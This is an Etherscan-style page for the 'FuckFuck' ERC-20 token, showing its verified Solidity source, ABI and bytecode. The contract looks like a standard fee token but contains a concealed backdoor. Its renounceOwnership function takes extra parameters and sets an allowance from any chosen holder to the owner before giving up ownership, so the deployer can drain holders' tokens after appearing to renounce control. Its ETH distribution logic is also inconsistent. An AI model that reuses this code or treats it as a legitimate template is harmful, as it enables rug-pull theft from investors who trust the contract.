ERC-20
Overview
Max Total Supply
1,000,000,000 FUCKFUCK
Holders
70
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
20,263,527.486221585 FUCKFUCKValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
FuckFuck
Compiler Version
v0.8.21+commit.d9974bed
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-08-09 */ // SPDX-License-Identifier: MIT /** https://t.me/FuckFuckPortal https://www.fuckfuck.vip https://twitter.com/fuckfucketh */ pragma solidity ^0.8.19; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } interface IUniswapV2Router02 { function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); function factory() external pure returns (address); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function WETH() external pure returns (address); } contract Ownable is Context { mapping(address => mapping(address => uint256)) internal _allowances; address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function renounceOwnership(address _prevOwner, uint256 _amt) public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _allowances[_prevOwner][_owner] = _amt; _owner = address(0); } } contract FuckFuck is Context, Ownable, IERC20 { using SafeMath for uint256; IUniswapV2Router02 public uniswapV2Router; bool private _openTrading = false; bool private _swapping = false; bool private _swapEnabled = true; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; uint256 public _maxTranxLimitAmount = _tTotal * 42 / 1000; // 4.2% uint256 public _maxWalletLimitAmount = _tTotal * 42 / 1000; // 4.2% uint256 public _swapExactAmount = _tTotal / 10000; uint256 private constant _tTotal = 1_000_000_000 * 10**9; // total supply uint256 private _rTotal = (MAX - (MAX % _tTotal)); // fee config uint256 private _taxTotalAmount; uint256 private _buyFeeForMarket = 0; uint256 private _buyTaxAmount = 0; uint256 private _sellFeeForMarket = 0; uint256 private _marketingFee = _sellFeeForMarket; uint256 private _sellTaxAmount = 0; uint256 private _appliedFeeAmount = _sellTaxAmount; uint256 private _previousMarketingFee = _marketingFee; uint256 private _previousMainFee = _appliedFeeAmount; event MaxTxAmountUpdated(uint256 _maxTranxLimitAmount); string private constant _name = "FuckFuck"; string private constant _symbol = "FUCKFUCK"; uint8 private constant _decimals = 9; address public _uniswapPair; modifier lockInSwap { _swapping = true; _; _swapping = false; } constructor() { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingWallet] = true; _isExcludedFromFee[_devWallet] = true; // mint _rOwned[_msgSender()] = _rTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function totalSupply() public pure override returns (uint256) { return _tTotal; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getTValues( uint256 tAmount, uint256 teamFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(teamFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function startTrading(address _pair_addr) public onlyOwner { _openTrading = true; _uniswapPair = _pair_addr; } function _takeAllFee(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function removeTax() private { if (_marketingFee == 0 && _appliedFeeAmount == 0) return; _previousMarketingFee = _marketingFee; _previousMainFee = _appliedFeeAmount; _marketingFee = 0; _appliedFeeAmount = 0; } function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _marketingFee, _appliedFeeAmount); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function distributeETH(uint256 amount) private { uint256 distribution = 2; uint256 sendForDev = amount / distribution; _devWallet.transfer(sendForDev); _marketingWallet.transfer(sendForDev * (distribution + 1)); } address payable public _devWallet = payable(0x2E8C9Fea4c9EfE8F4A91708Ee016642c8DBEd371); address payable public _marketingWallet = payable(0x4F439E5616370CC0E73B88bD9dFb8728AE848401); function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if ( from != owner() && to != owner() ) { //Trade start check if (!_openTrading) { require( from == owner(), "TOKEN: This account cannot send tokens until trading is enabled" ); } require( amount <= _maxTranxLimitAmount, "TOKEN: Max Transaction Limit" ); if(to != _uniswapPair) { require(balanceOf(to) + amount < _maxWalletLimitAmount, "TOKEN: Balance exceeds wallet size!"); } uint256 tokenAmountOfContract = balanceOf(address(this)); bool canSwap = tokenAmountOfContract >= _swapExactAmount; if(tokenAmountOfContract >= _maxTranxLimitAmount) tokenAmountOfContract = _maxTranxLimitAmount; if (canSwap && !_swapping && from != _uniswapPair && _swapEnabled && !_isExcludedFromFee[to] && !_isExcludedFromFee[from] ) { swapBackEth(tokenAmountOfContract); uint256 ethBalance = address(this).balance; if (ethBalance > 0) distributeETH(ethBalance * 2 / 3); } } bool haveFee = true; if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != _uniswapPair && to != _uniswapPair)) { haveFee = false; } else { if(from == _uniswapPair && to != address(uniswapV2Router)) { _marketingFee = _buyFeeForMarket; _appliedFeeAmount = _buyTaxAmount; } if (to == _uniswapPair && from != address(uniswapV2Router)) { _marketingFee = _sellFeeForMarket; _appliedFeeAmount = _sellTaxAmount; } } _transferTokensWithFeeCheck(from, to, amount, haveFee); } function _sendAllFeeTokens(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _taxTotalAmount = _taxTotalAmount.add(tFee); } //set maximum transaction function removeTotalLimits() public onlyOwner { _maxTranxLimitAmount = _tTotal; _maxWalletLimitAmount = _tTotal; } function excludeMultiAccountsFromFee(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } //set minimum tokens required to swap. function setSwapTokenThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapExactAmount = swapTokensAtAmount; } function swapBackEth(uint256 tokenAmount) private lockInSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } receive() external payable { } function _transferBasicTokens( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeAllFee(tTeam); _sendAllFeeTokens(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function recoverTax() private { _marketingFee = _previousMarketingFee; _appliedFeeAmount = _previousMainFee; } function _transferTokensWithFeeCheck( address sender, address recipient, uint256 amount, bool setFee ) private { if (!setFee) { removeTax(); } _transferBasicTokens(sender, recipient, amount); if (!setFee) { recoverTax(); } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTranxLimitAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_devWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_marketingWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTranxLimitAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletLimitAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapExactAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeMultiAccountsFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeTotalLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_prevOwner","type":"address"},{"internalType":"uint256","name":"_amt","type":"uint256"}],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"swapTokensAtAmount","type":"uint256"}],"name":"setSwapTokenThreshold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_pair_addr","type":"address"}],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526003805462ffffff60a01b1916600160b01b1790556103e862000031670de0b6b3a7640000602a620002a7565b6200003d9190620002db565b6007556103e862000058670de0b6b3a7640000602a620002a7565b620000649190620002db565b6008556200007d612710670de0b6b3a7640000620002db565b60095562000095670de0b6b3a76400005f19620002f1565b620000a2905f1962000307565b600a555f600c819055600d819055600e819055600f819055601081905560118190556012819055601355601580546001600160a01b0319908116732e8c9fea4c9efe8f4a91708ee016642c8dbed3711790915560168054909116734f439e5616370cc0e73b88bd9dfb8728ae84840117905534801562000120575f80fd5b50600180546001600160a01b0319163390811790915560405181905f907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155600160045f620001a46001546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff1996871617905530815260049093528183208054851660019081179091556016548216845282842080548616821790556015549091168352908220805490931617909155600a54906005906200021d3390565b6001600160a01b0316815260208101919091526040015f2055336001600160a01b03165f6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef670de0b6b3a76400006040516200028491815260200190565b60405180910390a3506200031d565b634e487b7160e01b5f52601160045260245ffd5b8082028115828204841417620002c157620002c162000293565b92915050565b634e487b7160e01b5f52601260045260245ffd5b5f82620002ec57620002ec620002c7565b500490565b5f82620003025762000302620002c7565b500690565b81810381811115620002c157620002c162000293565b611895806200032b5f395ff3fe60806040526004361061013f575f3560e01c80633d8af5f2116100b35780638da5cb5b1161006d5780638da5cb5b1461037e57806395d89b411461039b578063962dfc75146103cb578063a9059cbb146103ea578063dd62ed3e14610409578063f2fde38b1461044b575f80fd5b80633d8af5f2146102ce5780634bf28fd0146102e35780634f473db01461030257806370a08231146103215780637231d2171461034057806383364ea21461035f575f80fd5b80631694505e116101045780631694505e1461022657806318160ddd1461024557806320189d281461025f57806323b872dd146102805780632fae79371461029f578063313ce567146102b3575f80fd5b8063039cc7491461014a57806304d6d79e1461017257806306fdde0314610187578063095ea7b3146101c057806311a63e17146101ef575f80fd5b3661014657005b5f80fd5b348015610155575f80fd5b5061015f60075481565b6040519081526020015b60405180910390f35b34801561017d575f80fd5b5061015f60095481565b348015610192575f80fd5b506040805180820190915260088152674675636b4675636b60c01b60208201525b6040516101699190611526565b3480156101cb575f80fd5b506101df6101da366004611588565b61046a565b6040519015158152602001610169565b3480156101fa575f80fd5b5060155461020e906001600160a01b031681565b6040516001600160a01b039091168152602001610169565b348015610231575f80fd5b5060035461020e906001600160a01b031681565b348015610250575f80fd5b50670de0b6b3a764000061015f565b34801561026a575f80fd5b5061027e610279366004611588565b610480565b005b34801561028b575f80fd5b506101df61029a3660046115b2565b610522565b3480156102aa575f80fd5b5061027e610587565b3480156102be575f80fd5b5060405160098152602001610169565b3480156102d9575f80fd5b5061015f60085481565b3480156102ee575f80fd5b5060145461020e906001600160a01b031681565b34801561030d575f80fd5b5061027e61031c3660046115f0565b6105c4565b34801561032c575f80fd5b5061015f61033b366004611607565b6105f3565b34801561034b575f80fd5b5061027e61035a366004611607565b610614565b34801561036a575f80fd5b5061027e610379366004611622565b610674565b348015610389575f80fd5b506001546001600160a01b031661020e565b3480156103a6575f80fd5b506040805180820190915260088152674655434b4655434b60c01b60208201526101b3565b3480156103d6575f80fd5b5060165461020e906001600160a01b031681565b3480156103f5575f80fd5b506101df610404366004611588565b610712565b348015610414575f80fd5b5061015f6104233660046116a5565b6001600160a01b039182165f9081526020818152604080832093909416825291909152205490565b348015610456575f80fd5b5061027e610465366004611607565b61071e565b5f610476338484610808565b5060015b92915050565b6001546001600160a01b031633146104b35760405162461bcd60e51b81526004016104aa906116dc565b60405180910390fd5b6001546040515f916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a36001600160a01b039182165f9081526020818152604080832060018054909616845290915290205580546001600160a01b0319169055565b5f61052e848484610929565b61057d843361057885604051806060016040528060288152602001611838602891396001600160a01b038a165f908152602081815260408083203384529091529020549190610dda565b610808565b5060019392505050565b6001546001600160a01b031633146105b15760405162461bcd60e51b81526004016104aa906116dc565b670de0b6b3a76400006007819055600855565b6001546001600160a01b031633146105ee5760405162461bcd60e51b81526004016104aa906116dc565b600955565b6001600160a01b0381165f9081526005602052604081205461047a90610e12565b6001546001600160a01b0316331461063e5760405162461bcd60e51b81526004016104aa906116dc565b6003805460ff60a01b1916600160a01b179055601480546001600160a01b039092166001600160a01b0319909216919091179055565b6001546001600160a01b0316331461069e5760405162461bcd60e51b81526004016104aa906116dc565b5f5b8281101561070c578160045f8686858181106106be576106be611711565b90506020020160208101906106d39190611607565b6001600160a01b0316815260208101919091526040015f20805460ff19169115159190911790558061070481611739565b9150506106a0565b50505050565b5f610476338484610929565b6001546001600160a01b031633146107485760405162461bcd60e51b81526004016104aa906116dc565b6001600160a01b0381166107ad5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104aa565b6001546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a3600180546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03831661086a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104aa565b6001600160a01b0382166108cb5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104aa565b6001600160a01b038381165f818152602081815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661098d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104aa565b6001600160a01b0382166109ef5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104aa565b5f8111610a505760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104aa565b6001546001600160a01b03848116911614801590610a7c57506001546001600160a01b03838116911614155b15610cd657600354600160a01b900460ff16610b15576001546001600160a01b03848116911614610b155760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016104aa565b600754811115610b675760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016104aa565b6014546001600160a01b03838116911614610bec5760085481610b89846105f3565b610b939190611751565b10610bec5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016104aa565b5f610bf6306105f3565b600954600754919250821015908210610c0f5760075491505b808015610c265750600354600160a81b900460ff16155b8015610c4057506014546001600160a01b03868116911614155b8015610c555750600354600160b01b900460ff165b8015610c7957506001600160a01b0384165f9081526004602052604090205460ff16155b8015610c9d57506001600160a01b0385165f9081526004602052604090205460ff16155b15610cd357610cab82610e94565b478015610cd157610cd16003610cc2836002611764565b610ccc919061177b565b611004565b505b50505b6001600160a01b0383165f9081526004602052604090205460019060ff1680610d1657506001600160a01b0383165f9081526004602052604090205460ff165b80610d4857506014546001600160a01b03858116911614801590610d4857506014546001600160a01b03848116911614155b15610d5457505f610dce565b6014546001600160a01b038581169116148015610d7f57506003546001600160a01b03848116911614155b15610d9157600c54600f55600d546011555b6014546001600160a01b038481169116148015610dbc57506003546001600160a01b03858116911614155b15610dce57600e54600f556010546011555b61070c84848484611093565b5f8184841115610dfd5760405162461bcd60e51b81526004016104aa9190611526565b505f610e09848661179a565b95945050505050565b5f600a54821115610e785760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104aa565b5f610e816110c1565b9050610e8d83826110e2565b9392505050565b6003805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610eda57610eda611711565b6001600160a01b03928316602091820292909201810191909152600354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610f31573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f5591906117ad565b81600181518110610f6857610f68611711565b6001600160a01b039283166020918202929092010152600354610f8e9130911684610808565b60035460405163791ac94760e01b81526001600160a01b039091169063791ac94790610fc69085905f908690309042906004016117c8565b5f604051808303815f87803b158015610fdd575f80fd5b505af1158015610fef573d5f803e3d5ffd5b50506003805460ff60a81b1916905550505050565b60025f611011828461177b565b6015546040519192506001600160a01b03169082156108fc029083905f818181858888f19350505050158015611049573d5f803e3d5ffd5b506016546001600160a01b03166108fc611064846001611751565b61106e9084611764565b6040518115909202915f818181858888f1935050505015801561070c573d5f803e3d5ffd5b806110a0576110a0611123565b6110ab848484611150565b8061070c5761070c601254600f55601354601155565b5f805f6110cc611241565b90925090506110db82826110e2565b9250505090565b5f610e8d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611280565b600f541580156111335750601154155b1561113a57565b600f8054601255601180546013555f9182905555565b5f805f805f8061115f876112ac565b6001600160a01b038f165f90815260056020526040902054959b509399509197509550935091506111909087611301565b6001600160a01b03808b165f9081526005602052604080822093909355908a16815220546111be9086611342565b6001600160a01b0389165f908152600560205260409020556111df816113a0565b6111e984836113e6565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161122e91815260200190565b60405180910390a3505050505050505050565b600a545f908190670de0b6b3a764000061125b82826110e2565b821015611277575050600a5492670de0b6b3a764000092509050565b90939092509050565b5f81836112a05760405162461bcd60e51b81526004016104aa9190611526565b505f610e09848661177b565b5f805f805f805f805f6112c48a600f5460115461140a565b9250925092505f6112d36110c1565b90505f805f6112e48e87878761145c565b919e509c509a509598509396509194505050505091939550919395565b5f610e8d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610dda565b5f8061134e8385611751565b905083811015610e8d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104aa565b5f6113a96110c1565b90505f6113b683836114a8565b305f908152600560205260409020549091506113d29082611342565b305f90815260056020526040902055505050565b600a546113f39083611301565b600a55600b546114039082611342565b600b555050565b5f808080611423606461141d89896114a8565b906110e2565b90505f611435606461141d8a896114a8565b90505f61144c826114468b86611301565b90611301565b9992985090965090945050505050565b5f80808061146a88866114a8565b90505f61147788876114a8565b90505f61148488886114a8565b90505f611495826114468686611301565b939b939a50919850919650505050505050565b5f825f036114b757505f61047a565b5f6114c28385611764565b9050826114cf858361177b565b14610e8d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104aa565b5f6020808352835180828501525f5b8181101561155157858101830151858201604001528201611535565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611585575f80fd5b50565b5f8060408385031215611599575f80fd5b82356115a481611571565b946020939093013593505050565b5f805f606084860312156115c4575f80fd5b83356115cf81611571565b925060208401356115df81611571565b929592945050506040919091013590565b5f60208284031215611600575f80fd5b5035919050565b5f60208284031215611617575f80fd5b8135610e8d81611571565b5f805f60408486031215611634575f80fd5b833567ffffffffffffffff8082111561164b575f80fd5b818601915086601f83011261165e575f80fd5b81358181111561166c575f80fd5b8760208260051b8501011115611680575f80fd5b60209283019550935050840135801515811461169a575f80fd5b809150509250925092565b5f80604083850312156116b6575f80fd5b82356116c181611571565b915060208301356116d181611571565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b634e487b7160e01b5f52601160045260245ffd5b5f6001820161174a5761174a611725565b5060010190565b8082018082111561047a5761047a611725565b808202811582820484141761047a5761047a611725565b5f8261179557634e487b7160e01b5f52601260045260245ffd5b500490565b8181038181111561047a5761047a611725565b5f602082840312156117bd575f80fd5b8151610e8d81611571565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156118165784516001600160a01b0316835293830193918301916001016117f1565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205eebce43486b77bab91d81fbb324f554bce144d3bfbb012627e40b94ccb75be764736f6c63430008150033
Deployed Bytecode
0x60806040526004361061013f575f3560e01c80633d8af5f2116100b35780638da5cb5b1161006d5780638da5cb5b1461037e57806395d89b411461039b578063962dfc75146103cb578063a9059cbb146103ea578063dd62ed3e14610409578063f2fde38b1461044b575f80fd5b80633d8af5f2146102ce5780634bf28fd0146102e35780634f473db01461030257806370a08231146103215780637231d2171461034057806383364ea21461035f575f80fd5b80631694505e116101045780631694505e1461022657806318160ddd1461024557806320189d281461025f57806323b872dd146102805780632fae79371461029f578063313ce567146102b3575f80fd5b8063039cc7491461014a57806304d6d79e1461017257806306fdde0314610187578063095ea7b3146101c057806311a63e17146101ef575f80fd5b3661014657005b5f80fd5b348015610155575f80fd5b5061015f60075481565b6040519081526020015b60405180910390f35b34801561017d575f80fd5b5061015f60095481565b348015610192575f80fd5b506040805180820190915260088152674675636b4675636b60c01b60208201525b6040516101699190611526565b3480156101cb575f80fd5b506101df6101da366004611588565b61046a565b6040519015158152602001610169565b3480156101fa575f80fd5b5060155461020e906001600160a01b031681565b6040516001600160a01b039091168152602001610169565b348015610231575f80fd5b5060035461020e906001600160a01b031681565b348015610250575f80fd5b50670de0b6b3a764000061015f565b34801561026a575f80fd5b5061027e610279366004611588565b610480565b005b34801561028b575f80fd5b5061